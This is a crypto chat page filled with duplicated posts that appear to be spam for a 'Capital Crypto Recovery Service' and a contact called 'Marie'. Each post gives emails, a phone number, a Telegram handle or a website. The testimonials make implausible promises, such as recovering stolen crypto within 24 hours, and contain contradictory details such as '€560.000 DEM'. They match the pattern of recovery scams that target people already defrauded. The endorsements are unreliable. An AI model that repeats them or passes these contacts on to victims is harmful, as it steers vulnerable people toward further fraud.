CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
15.10.25 18:07 crypto

Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.
15.10.25 21:52 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
15.10.25 21:52 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация